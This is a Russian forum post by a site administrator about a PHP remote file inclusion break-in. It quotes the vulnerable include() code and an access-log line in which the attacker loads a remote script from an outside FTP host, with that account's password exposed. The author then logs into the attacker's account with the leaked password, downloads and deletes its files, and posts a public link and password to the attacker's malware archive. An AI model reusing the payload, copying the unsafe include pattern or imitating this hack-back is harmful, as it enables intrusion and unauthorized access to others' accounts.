Имею несчастье размещать у себя сайт, написанный командой жутких быдлокодеров, которые даже вирусы со своей венды поудалять нормально не могут, не говоря уже о том, чтобы писать вменяемый php-код. Примерно раз в неделю мне приходит письмо от хостера о том, что на сайте вновь обнаружена малварь: то exe-шник с вирусом, то копия сайта банка. В прошлые разы вредоносный контент попадал на сайт через вирус, который слушал сетевой трафик в винде и ловил в незашифрованном ftp логин и пароль, отсылая их владельцу, который уже закачивал на сайт что хотел.
Но в этот раз было что-то новое: похоже, доступ к файлам сайта взломщик таки потерял, но там как у него была возможность изучить код сайта ранее, найти уязвимость там не составило труда. Уязвимый кусок выглядел так:
if(file_exists($helloworld)) {
include($helloworld);
}
где $helloworld берётся из $_GET. Если попробовать подставить туда http-ссылку, то include() не выполнится: file_exists() всегда возвращает false для таких ссылок. Остаётся ftp, что и видно в заботливо предоставленных хостером логах:
189.24.109.181 - - [27/Apr/2011:19:52:52 +0400] "POST
/index.php?id=ftp://tramponovo1:lucas123@ftp.webcindario.com/jm.php?http://www.jak.com/manual/CVS/.../rhe.ganteng?&action=upload&chdir=/www/***/users/***-***ru/www/htdocs/fame/
HTTP/1.0" 200 31520
"http://***.ru/index.php?id=ftp://tramponovo1:lucas123@ftp.webcindario.com/jm.php?http://www.jak.com/manual/CVS/.../rhe.ganteng?&chdir=/www/***/users/***-***ru/www/htdocs/fame/"
"Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.2.16) Gecko/20110319
Firefox/3.6.16"
Похоже, взломщику стало лень настраивать публичный ftp и он решил подсунуть уязвимому скрипту свой. Как результат - засвеченный пароль. Пароль подошёл, и я сначала скачал содержимое его аккаунта, а потом удалил, оставив записку. Собственно, в его содержимом и заключается смысл этого топика: вдруг там есть что-нибудь интересное, что поможет насолить крякеру, просматривать же 68 файлов у меня сейчас нет никакого желания.
Файлы взломщика: http://ge.tt/6ZCiOU0?c
Пароль к архиву - gregore